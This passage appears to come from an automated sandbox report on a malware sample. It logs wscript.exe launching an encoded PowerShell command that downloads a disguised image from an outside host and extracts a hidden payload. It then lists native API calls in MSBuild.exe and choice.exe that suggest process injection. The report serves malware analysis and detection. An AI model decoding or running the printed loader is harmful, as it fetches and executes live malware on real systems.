'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0Jump to behavior
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007DFCF4 SleepEx,NtResumeThread,0_2_007DFCF4
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007DF9E8 SleepEx,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,0_2_007DF9E8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0042CB03 NtClose,8_2_0042CB03
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013935C0 NtCreateMutant,LdrInitializeThunk,8_2_013935C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392B60 NtClose,LdrInitializeThunk,8_2_01392B60
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392DF0 NtQuerySystemInformation,LdrInitializeThunk,8_2_01392DF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392C70 NtFreeVirtualMemory,LdrInitializeThunk,8_2_01392C70
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392CA0 NtQueryInformationToken,LdrInitializeThunk,8_2_01392CA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392F90 NtProtectVirtualMemory,LdrInitializeThunk,8_2_01392F90
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01393010 NtOpenDirectoryObject,8_2_01393010
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01393090 NtSetValueKey,8_2_01393090
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01394340 NtSetContextThread,8_2_01394340
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01394650 NtSuspendThread,8_2_01394650
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013939B0 NtGetContextThread,8_2_013939B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392BA0 NtEnumerateValueKey,8_2_01392BA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392B80 NtQueryInformationFile,8_2_01392B80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392BF0 NtAllocateVirtualMemory,8_2_01392BF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392BE0 NtQueryValueKey,8_2_01392BE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392AB0 NtWaitForSingleObject,8_2_01392AB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392AF0 NtWriteFile,8_2_01392AF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392AD0 NtReadFile,8_2_01392AD0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392D30 NtUnmapViewOfSection,8_2_01392D30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392D10 NtMapViewOfSection,8_2_01392D10
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01393D10 NtOpenProcessToken,8_2_01393D10
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392D00 NtSetInformationFile,8_2_01392D00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01393D70 NtOpenThread,8_2_01393D70
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392DB0 NtEnumerateKey,8_2_01392DB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392DD0 NtDelayExecution,8_2_01392DD0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392C00 NtQueryInformationProcess,8_2_01392C00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392C60 NtCreateKey,8_2_01392C60
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392CF0 NtOpenProcess,8_2_01392CF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392CC0 NtQueryVirtualMemory,8_2_01392CC0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392F30 NtCreateSection,8_2_01392F30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392F60 NtCreateProcessEx,8_2_01392F60
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392FB0 NtResumeThread,8_2_01392FB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392FA0 NtQuerySection,8_2_01392FA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392FE0 NtCreateFile,8_2_01392FE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392E30 NtWriteVirtualMemory,8_2_01392E30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392EA0 NtAdjustPrivilegesToken,8_2_01392EA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392E80 NtReadVirtualMemory,8_2_01392E80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01392EE0 NtQueueApcThread,8_2_01392EE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD35C0 NtCreateMutant,LdrInitializeThunk,11_2_04DD35C0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2CA0 NtQueryInformationToken,LdrInitializeThunk,11_2_04DD2CA0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2C70 NtFreeVirtualMemory,LdrInitializeThunk,11_2_04DD2C70
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2C60 NtCreateKey,LdrInitializeThunk,11_2_04DD2C60
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2DD0 NtDelayExecution,LdrInitializeThunk,11_2_04DD2DD0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2DF0 NtQuerySystemInformation,LdrInitializeThunk,11_2_04DD2DF0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2D10 NtMapViewOfSection,LdrInitializeThunk,11_2_04DD2D10
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2FE0 NtCreateFile,LdrInitializeThunk,11_2_04DD2FE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2F30 NtCreateSection,LdrInitializeThunk,11_2_04DD2F30
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2AD0 NtReadFile,LdrInitializeThunk,11_2_04DD2AD0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2AF0 NtWriteFile,LdrInitializeThunk,11_2_04DD2AF0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,11_2_04DD2BF0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2BE0 NtQueryValueKey,LdrInitializeThunk,11_2_04DD2BE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2BA0 NtEnumerateValueKey,LdrInitializeThunk,11_2_04DD2BA0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2B60 NtClose,LdrInitializeThunk,11_2_04DD2B60
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD4650 NtSuspendThread,11_2_04DD4650
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD3090 NtSetValueKey,11_2_04DD3090
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD3010 NtOpenDirectoryObject,11_2_04DD3010
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD4340 NtSetContextThread,11_2_04DD4340
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2CC0 NtQueryVirtualMemory,11_2_04DD2CC0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2CF0 NtOpenProcess,11_2_04DD2CF0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2C00 NtQueryInformationProcess,11_2_04DD2C00
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2DB0 NtEnumerateKey,11_2_04DD2DB0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD3D70 NtOpenThread,11_2_04DD3D70
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD3D10 NtOpenProcessToken,11_2_04DD3D10
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2D00 NtSetInformationFile,11_2_04DD2D00
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2D30 NtUnmapViewOfSection,11_2_04DD2D30
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2EE0 NtQueueApcThread,11_2_04DD2EE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2E80 NtReadVirtualMemory,11_2_04DD2E80
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2EA0 NtAdjustPrivilegesToken,11_2_04DD2EA0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2E30 NtWriteVirtualMemory,11_2_04DD2E30
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2F90 NtProtectVirtualMemory,11_2_04DD2F90
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2FB0 NtResumeThread,11_2_04DD2FB0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2FA0 NtQuerySection,11_2_04DD2FA0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2F60 NtCreateProcessEx,11_2_04DD2F60
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD39B0 NtGetContextThread,11_2_04DD39B0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2AB0 NtWaitForSingleObject,11_2_04DD2AB0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD2B80 NtQueryInformationFile,11_2_04DD2B80
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BB9760 NtReadFile,11_2_02BB9760
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BB95F0 NtCreateFile,11_2_02BB95F0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BB9A70 NtAllocateVirtualMemory,11_2_02BB9A70
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BB9860 NtDeleteFile,11_2_02BB9860
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BB9910 NtClose,11_2_02BB9910
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B84488 NtMapViewOfSection,11_2_04B84488
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B83429 NtSetContextThread,11_2_04B83429
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B83749 NtSuspendThread,11_2_04B83749
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B83D8D NtQueueApcThread,11_2_04B83D8D
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B84851 NtUnmapViewOfSection,11_2_04B84851
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B83A69 NtResumeThread,11_2_04B83A69
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007EA0570_2_007EA057
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007F10240_2_007F1024
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E94B80_2_007E94B8
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007EA3EC0_2_007EA3EC
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940A55EC0_2_00000205940A55EC
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940AC2240_2_00000205940AC224
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940A52570_2_00000205940A5257
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940A46B80_2_00000205940A46B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004189B38_2_004189B3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0042F1038_2_0042F103
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004101D38_2_004101D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00402AC68_2_00402AC6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00402AD08_2_00402AD0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040437B8_2_0040437B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00416BC38_2_00416BC3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040E3DA8_2_0040E3DA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040E3E38_2_0040E3E3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004103F38_2_004103F3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004023968_2_00402396
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004023A08_2_004023A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00416BBE8_2_00416BBE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040E5288_2_0040E528
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040E5338_2_0040E533
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00402F768_2_00402F76
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00402F808_2_00402F80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FA1188_2_013FA118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0142B16B8_2_0142B16B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013501008_2_01350100
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134F1728_2_0134F172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0139516C8_2_0139516C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013E81588_2_013E8158
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136B1B08_2_0136B1B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014181CC8_2_014181CC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014201AA8_2_014201AA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140F0CC8_2_0140F0CC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141F0E08_2_0141F0E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014170E98_2_014170E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013670C08_2_013670C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141A3528_2_0141A352
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141132D8_2_0141132D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0134D34C8_2_0134D34C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013A739A8_2_013A739A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014203E68_2_014203E6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136E3F08_2_0136E3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014002748_2_01400274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013652A08_2_013652A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014012ED8_2_014012ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B2C08_2_0137B2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013605358_2_01360535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014175718_2_01417571
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FD5B08_2_013FD5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014205918_2_01420591
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014124468_2_01412446
